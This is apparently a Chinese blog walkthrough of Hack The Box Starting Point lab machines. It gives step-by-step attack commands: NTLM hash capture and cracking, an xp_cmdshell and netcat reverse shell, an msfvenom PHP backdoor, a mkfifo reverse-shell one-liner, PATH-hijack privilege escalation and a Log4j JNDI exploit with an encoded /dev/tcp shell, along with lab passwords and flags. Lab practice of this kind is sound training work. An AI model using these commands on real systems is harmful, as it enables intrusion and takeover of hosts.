htb:Starting Point

有目标就不怕路远。年轻人.无论你现在身在何方.重要的是你将要向何处去。只有明确的目标才能助你成功。没有目标的航船.任何方向的风对他来说都是逆风。因此,再遥远的旅程,只要有目标.就不怕路远。没有目标,哪来的劲头?一车尔尼雷夫斯基

导读:本篇文章讲解 htb:Starting Point,希望对大家有帮助,欢迎收藏,转发!站点地址:www.bmabk.com,来源:原文

第0层

第0层部分靶机免费,部分靶机收费。由于这部分太过简单,因此一笔带过。
第一关Meow是telnet靶场:https://www.bilibili.com/video/BV1nS4y137GQ
第二关Fawn是ftp靶场:https://www.bilibili.com/video/BV11F41147Kf
第三关Dancing是SMB靶场:https://www.bilibili.com/video/BV1nS4y137vm
第四关Redeemer是Redis靶场:https://www.theethicaldroid.com/hack-the-box/htb-walkthrough-tier-0-redeemer
第五关Explosion是RDP靶场(VIP):https://www.bilibili.com/video/BV1RL4y1T75j
第六关Preignition是目录爆破(VIP):https://www.bilibili.com/video/BV1qL411P76v
在这里插入图片描述

第1层

在这里插入图片描述

第1~3关

  1. 第一关Appointment(考察万能密码登录web):https://www.bilibili.com/video/BV1Fa411b77H
  2. 第二关Sequel(考察MariaDB):https://www.bilibili.com/video/BV1Ei4y1k7jP
  3. 第三关Crocodile(ftp下载敏感文件获取账号密码,目录爆破登录网页):https://www.bilibili.com/video/BV1rT4y1e7Nw

第4关:Responder

通关教程视频:https://www.bilibili.com/video/BV1GS4y1Y716
开启靶机后先下载一下通关攻略,个人觉得开局来个NTLM这种横向移动中才用到的技术,有点难为新手了。由于文档是全英文的,因此这里使用谷歌翻译处理一下,翻译效果还不错。
在这里插入图片描述

在这里插入图片描述

端口探测

探测到2个开放的端口

nmap -p- --min-rate 5000 -sV 10.129.72.220

在这里插入图片描述

网站探测

一看这个德行,就知道要修改hosts文件了。
在这里插入图片描述

页面上点击一番后,发现修改页面语言的时候URI地址发生了有趣的变化
在这里插入图片描述

根据通关攻略,发现了本地文件包含漏洞
在这里插入图片描述

本地文件包含漏洞利用

在靶场中,windows本地文件包含漏洞不算一个严重的漏洞,但是靶机开放了5985端口,我们就可以利用NTLM。这部分的内容比较复杂,不做解释。
攻击端准备
攻击者使用Responder监听tun0网卡,然后通过浏览器或者curl命令,让靶机包含来自SMB服务器的资源,在这种情况下,因为我们可以自由指定 SMB 共享的地址,所以我们指定了攻击机器的 IP 地址。现在服务器尝试从我们的 SMB 服务器加载资源,并且 Responder 捕获了足够的资源以获取 NetNTLMv2。NetNTLMv2 包括质询(随机文本)和加密响应。

git clone https://github.com/lgandx/Responder.git
cd Responder
sudo python3 Responder.py -I tun0

在这里插入图片描述

爆破NTLM的哈希

  1. 解压字典:gzip -d /usr/share/wordlists/rockyou.txt.gz
  2. 爆破:john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

在这里插入图片描述

连接靶机

我们将连接到目标上的 WinRM 服务并尝试获取会话。因为 Linux 上默认没有安装 PowerShell,所以我们将使用一个名为Evil-WinRM的工具,它是为这种情况而设计的。根据通关攻略得知Flag的位置。

evil-winrm -i 10.129.72.220 -u administrator -p badminton

在这里插入图片描述

第5关:Three

通关教程:https://ewan67.github.io/posts/htb-writeup-tier1-three/
这一关考察的是AWS S3,相信这一块对于国内的安全从业者还是挺陌生的,云安全的从业者并不多。按照教程可以打通这关,在文件上传的时候,我费了点时间。这里说几个注意事项。

  1. 爆破出子域名后,需要修改hosts文件,否则会导致文件上传失败
  2. 上传反弹shell的文件时,反弹的地址不可以写VPS的地址,必须写VPS的tun0网卡地址
  3. VPS放行nc监听的端口,才可以正常反弹shell

第6~9关(VIP)

第6关(Ignition):https://www.bilibili.com/video/BV1Ma41147ZF
第7关(Bike):https://www.bilibili.com/video/BV1434y147av
第8关(Pennyworth):https://www.bilibili.com/video/BV1FT4y1v7V4
第9关(Tactics):https://www.bilibili.com/video/BV1CL4y1L7kJ

第2层

第1关:Archetype

通关视频教程:https://www.bilibili.com/video/BV1R3411J7J2
通关文字教程:https://systemweakness.com/archetype-hackthebox-walkthrough-be99a1fba8ea
我这里依旧是下载官方攻略,并使用Google翻译把攻略翻译成中文,这一点已经在“第1层 → 第4关”中演示过。这个靶机主要是考察1443端口的Microsoft SQL Server。关于此端口的更多利用姿势参加:https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-os-commands

端口探测

注意到靶机上运行着Microsoft SQL Server,SMB服务。

nmap -p- 10.129.175.179 --min-rate 4000
nmap -p135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669 10.129.175.179 -A

在这里插入图片描述

SMB探测

这里使用smbclient尝试连接靶机,直接连接的时候要密码,回车即可,发现可以连上。那么下次碰到这种情况就可以加上-N参数,表示没有密码。通过下图注意到-N参数如果位置不对,可能还是得输入密码。
在这里插入图片描述

探测发现backups目录中存在一个账号密码:ARCHETYPE\sql_svc、M3g4c0rp123
在这里插入图片描述

连接SQL服务

现在让我们远程登录到SQL Server,但是如何做到这一点?在官方攻略中,我们将找到一个名为“mssqlclient.py”的工具。此工具将使我们能够登录到目标的SQL Server服务器。

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install -r requirements.txt
sudo python3 setup.py install
cd impacket/examples/
mssqlclient.py -h

发起连接:./mssqlclient.py Archetype/sql_svc@10.129.175.179 -windows-auth
在这里插入图片描述

尝试执行个命令看看呢?报错了,根据错误信息得知xp_cmdshell
在这里插入图片描述

然后怎么玩呢?谷歌搜索“xp_cmdshell”找到了微软的官方文档:https://learn.microsoft.com/en-us/sql/database-engine/configure-windows/xp-cmdshell-server-configuration-option?source=recommendations&view=sql-server-2016(手工把上面地址中的“en-us”修改为“zh-cn”可以看到中文文档,但是翻译的有点问题,所以下图使用的是英文文档)
在这里插入图片描述

接下来按照微软官方的教程,先确认自己是管理员权限,然后逐步启动“xp_cmdshell”来实现命令执行效果。

SELECT is_srvrolemember('sysadmin');
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
xp_cmdshell "whoami"

在这里插入图片描述

基于xp_cmdshell反弹shell

可以参见这篇文章:https://pentestwiki.org/academy/how-to-get-a-xp_cmdshell-reverse-shell/
由于我已经可以在SQL Server中执行命令了,因此我会让靶机下载一个nc反弹连接我。

  1. VPS下载nc:wget https://github.com/int0x33/nc.exe/blob/master/nc.exe
  2. VPS开启web服务:python -m http.server 80
  3. 靶机下载nc(需要把nc下载到有权限读写的文件夹):
xp_cmdshell "powershell.exe wget http://10.10.14.175/nc.exe -OutFile c:\\Users\Public\\nc.exe"
  1. VPS开启端口监听:nc -nvlp 4444
  2. 靶机运行nc上线:xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe 10.10.14.175 4444"

在这里插入图片描述

结果是比较倒霉,上传的nc与系统不兼容,我刚才上传的应该是32位的,重新上传64位呢?于是来到官方攻略中提到的网站https://github.com/int0x33/nc.exe下载并上传了64位的,再次提示版本不兼容。还是得自己动手丰衣足食!在我之前的笔记中记录过windows通过nc上线:语雀地址CSDN地址

  1. VPS下载并解压nc:
wget https://eternallybored.org/misc/netcat/netcat-win32-1.11.zip
unzip netcat-win32-1.11.zip
cd netcat-1.11
  1. VPS开启web服务:python -m http.server 80
  2. 靶机下载nc(需要把nc下载到有权限读写的文件夹):
xp_cmdshell "powershell.exe wget http://10.10.14.175/nc64.exe -outfile c:\\Users\Public\\nc64new.exe"
  1. VPS开启端口监听:nc -nvlp 4444
  2. 靶机运行nc上线:xp_cmdshell "c:\\Users\Public\\nc64new.exe -e cmd.exe 10.10.14.175 4444"

在这里插入图片描述

Flag

得到Flag:3e7b102e78218e935bf3f4951fec21a3
在这里插入图片描述

提权

这里使用工具:PEASS-ng

  1. VPS下载提权工具并投递:
wget https://github.com/carlospolop/PEASS-ng/releases/download/20221016/winPEASx64.exe
python -m http.server 80
  1. 靶机下载工具,并运行它
powershell	# 切换终端为powshell
wget http://10.10.14.175/winPEASx64.exe -outfile winPEASx64.exe
./winPEASx64.exe

在这里插入图片描述

  1. 发现敏感文件

直接运行提权脚本没有看到黄色高亮的漏洞,通过官方攻略得知存在一个敏感文件
账号密码:administrator、MEGACORP_4dm1n!!
连接靶机:python3 /home/kali/test/impacket/examples/psexec.py administrator@10.129.175.179
在这里插入图片描述

  1. 以管理员身份登录靶机,并拿到了最后一个Flag:b91ccec3305e98240082d4474b848528

在这里插入图片描述

第2关:Oopsie

通关视频:https://www.bilibili.com/video/BV173411T7Kp

端口探测

nmap -p- --min-rate 4000 -sV 10.129.88.18

在这里插入图片描述

网站探测

开局就是一个静态页面,啥都没有,直接目录爆破,这里比较遗憾,使用dirsearch没有爆破出有价值的结果,我当然可以更换别的字典,但是这会消耗我VPS不少流量,我决定换种方法。
在这里插入图片描述

在这里插入图片描述

BurpSuite目录发现

在上一篇文章中我介绍了我是使用“SSH本地socks5代理”技术来打靶的,因此我只需要配置一下BurpSuite的Socks5即可用它测试web
在这里插入图片描述

打开网站之后,bp发现了一个url,访问一下,看到了一个登录窗口,简单的密码爆破无果后,选择以访客模式进入网站,登录之后首先就注意到了uri中的id值是可以改变的,sqlmap一把梭,但是没有扫出来。既然没有SQL注入,那么最有可能是就是越权漏洞了。
在这里插入图片描述

在这里插入图片描述

越权漏洞

观察bp的流量包发现cookie值似乎和用户的身份有关,那么我能否通过修改cookie实现越权呢?
当把id改为1的时候,页面显示出了管理员的名字和对应的值,那么就修改一下cookie值验证是否能越权。
在这里插入图片描述

结果发现,变成管理员之后,文件上传功能可以使用了。记得目录爆破的时候发现了uploads目录,这个时候就是文件上传反弹shell了。
在这里插入图片描述

文件上传反弹shell

这里演示MSF获取反弹shell。我这里第一次没有成功,看了攻略才知道如果shell文件不存在,有可能是靶机删除了,需要重新上传。

生成后门
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.175 LPORT=4444 -f raw > ./phpweb.php

开启监听
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 10.10.14.175
exploit

获取交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

切换身份-flag1

通过敏感文件找到了robert用户的密码:M3g4C0rpUs3r!得到Flag:f2c74ee8db7983851ab2a96a44eb7981
既然如此,就不用反弹的那个不好用的shell了,直接ssh登录
在这里插入图片描述

提权

常规提权方法失效,开始收集敏感文件。以前的思路是搜索“文件所有者是root、文件具有可执行权限、其他用户具有可写权限的所有文件”或者搜索“搜索既可执行,又有suid权限,所有者是root的文件”,但是搜索结果太多,肉眼看不出可疑文件。
根据官方攻略,思路拓宽了一些,根据id发现当前用户属于bugtracker组,于是:

  1. 搜索搜索属于这个组的所有文件:find -group bugtracker 2>/dev/null

但是这种搜索的结果应该比较多(忽略此次只搜索出一个结果),我觉得命令应该改造一下:搜索文件所有者是root的文件,并且其他用于对此文件既可执行,又有suid权限,并且还属于某个组

find / -type f -user root -perm -u+sx -group bugtracker -ls 2>/dev/null
  1. 分析发现这个文件是个可执行文件,执行发现它在调用cat,由于没有使用绝对路径调用cat,那么就可以通过修改环境变量实现提权。
  2. 修改环境变量
# 查看当前环境变量
echo $PATH

# 把一个shell的路径写入到cat文件中,并确认环境变量写入成功
echo "/bin/bash" > cat
chmod +x cat
export PATH=/home/robert:$PATH
echo $PATH

# 运行可执行文件,以root权限拿到shell
/usr/bin/bugtracker

在这里插入图片描述

  1. 获取flag

由于cat命令被占用了,所以使用tail命令查看,得到Flag:af13b0bee69f8a877c3faf667f7beacf
在这里插入图片描述

额外补充,如果我非要用cat怎么办?有两种办法

  1. 使用绝对路径调用cat
  2. 删除我添加的环境变量

在这里插入图片描述

第3关:Vaccine

通关视频:https://www.bilibili.com/video/BV1KY411j7Pa

端口探测

发现开放了21,22,80端口,其中21端口支持匿名登录。

nmap -p- --min-rate 4000 -sV 10.129.204.126
nmap -p21,22,80 -A 10.129.204.126

在这里插入图片描述

21端口探测

发现了一个意思备份文件的压缩包
在这里插入图片描述

爆破压缩包-获取web账号密码

爆破得到解压密码:741852963

zip2john backup.zip >  hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
unzip backup.zip

在这里插入图片描述

阅读爆破出的文件,发现了一个用户名和md5加密后的密码
在这里插入图片描述

使用在线平台获取到密码 qwerty789:https://www.cmd5.com/

登录web-sql注入反弹shell

登录之后看到一个搜索框,随便输入点数据,疑似SQL注入漏洞
在这里插入图片描述

sqlmap一把梭,发现确实存在sql注入:

sqlmap -u "http://10.129.204.126/dashboard.php?search=123%27" --cookie="PHPSESSID=3gadc93r3elf0k9ejv519ku7pd"

首先检查发现自己有DBA权限:

sqlmap -u "http://10.129.204.126/dashboard.php?search=123%27" --cookie="PHPSESSID=3gadc93r3elf0k9ejv519ku7pd" --is-dba

那就直接拿shell吧,这里进行了多次尝试,最终通过nc拿到shell

sqlmap -u "http://10.129.204.126/dashboard.php?search=123%27" --cookie="PHPSESSID=3gadc93r3elf0k9ejv519ku7pd" --os-shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.175 4444 >/tmp/f
python3 -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

在这里插入图片描述

SSH登录-Flag1

在web目录下以pass作为关键字,使用命令grep pass *搜索,在”dashboard.php”中发现一组账号密码:postgresP@s5w0rd!,然后顺利使用此账号密码SSH登录了靶机,拿到Flag:ec9b13ca4d6229cd5cc1e09980965bf7
在这里插入图片描述

在这里插入图片描述

提权-flag2

简单的sudo提权,用到了vi提权:https://gtfobins.github.io/gtfobins/vi/
得到flag:dd6e058e814260bc70e9bbdef2715849
在这里插入图片描述

第4关:Unified

通关视频:

  1. https://www.youtube.com/watch?v=nwHSFUn2RuA
  2. https://www.bilibili.com/video/BV1q34y1Y72d

端口探测

nmap -p- --min-rate 4000 -sV 10.129.171.50
nmap -p22,6789,8080,8443,8843,8880 -A 10.129.171.50

网站探测

打开网站如下图,根据 unifi 和版本号 6.4.54 在谷歌上搜索,搜素结果显示它似乎容易收到 log4j 漏洞的影响。我自然而然的就启动了BurpSuite,但是很奇怪,插件 log4j2scan 没有扫描出来。猜测应该是靶机出网流量受限(后面我们会证明这一点),在网上搜索一番后,找到了漏洞利用文章 (文章介绍了漏洞验证和漏洞利用,下面的所有操作都是围绕着这篇文章展开的https://www.sprocketsecurity.com/resources/another-log4j-on-the-fire-unifi
在这里插入图片描述

log4j漏洞利用(不出网)

注意,我们是通过搜索服务名称和版本号发现此漏洞的!
发送payload之后,收到一条错误提示,那到底有没有漏洞呢?LDAP运行的默认端口为389,让我们来看一下389端口的流量吧。结果抓到了流量,说明极有可能存在漏洞。
在这里插入图片描述

在这里插入图片描述

现在开始漏洞利用
攻击者准备:

  1. 安装openJDK
sudo apt update
sudo apt install openjdk-11-jdk -y
java --version
  1. 准备攻击工具Maven
sudo apt install maven
mvn -v

在这里插入图片描述

  1. 下载并构建Rogue-JNDI Java 应⽤程序
git clone https://github.com/veracode-research/rogue-jndi && cd rogue-jndi && mvn package

在这里插入图片描述

  1. 生成用于 JNDI 注入攻击的恶意 LDAP 服务器
echo 'bash -c bash -i >&/dev/tcp/10.10.14.175/4444 0>&1' | base64
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMTc1LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.175"

在这里插入图片描述

发送一下数据包,成功反弹shell
在这里插入图片描述

获取交互式shell:script /dev/null -c bash
在这里插入图片描述

替换MongoDB密码hash值

由于unifi需要MongoDB作为它的数据库,默认的数据库名是ace,所以我们先检查一下有没有MongoDB服务。同时文章指出,MongoDB能帮助提权,那么就来找一下MongoDB。
检查发现靶机在27117端口运行着MongoDB,尝试与MongoDB交互获取账号密码

ps aux | grep mongo
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

在这里插入图片描述

由于密码是$6$开头的,通过靶场攻略得知这个是sha-512加密算法的特点,当然我也可以通过hashid证明。由于这种加密存在加盐,因此每次加密结果都不一样。现在爆破密码就算了,我还是生成一个新的来偷梁换柱。

hashid '$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.'
mkpasswd -m sha-512 123456

在这里插入图片描述

替换管理员的哈希值

mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$uaBrPNpdaXCYReU7$xJ..g92Sl9QxUIvUpbvJRDH7DyUT3oWenGBZeLUXjYqOjcDh9TINtXb0aDoPBHYN/ZgCetNZmLnosZJkLaAJT1"}})'

在这里插入图片描述

登录unifi-获取SSH账号密码

使用账号密码administrator、123456登录系统,
找到了SSH登录靶机的账号密码:root、NotACrackablePassword4U2022
在这里插入图片描述

SSH登录root-2个flag

得到2个flag

  1. 用户的:6ced1a6a89e666c0620cdb10262ba127
  2. root的:e50bc93c75b634e4b272d2f771c33681

在这里插入图片描述

第5~6关(VIP)

第5关:https://www.bilibili.com/video/BV13S4y1A7N8
第6关:https://www.bilibili.com/video/BV1PZ4y127g9

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134210.html

(0)
飞熊的头像飞熊bm

相关推荐

发表回复

登录后才能评论
极客之音——专业性很强的中文编程技术网站,欢迎收藏到浏览器,订阅我们!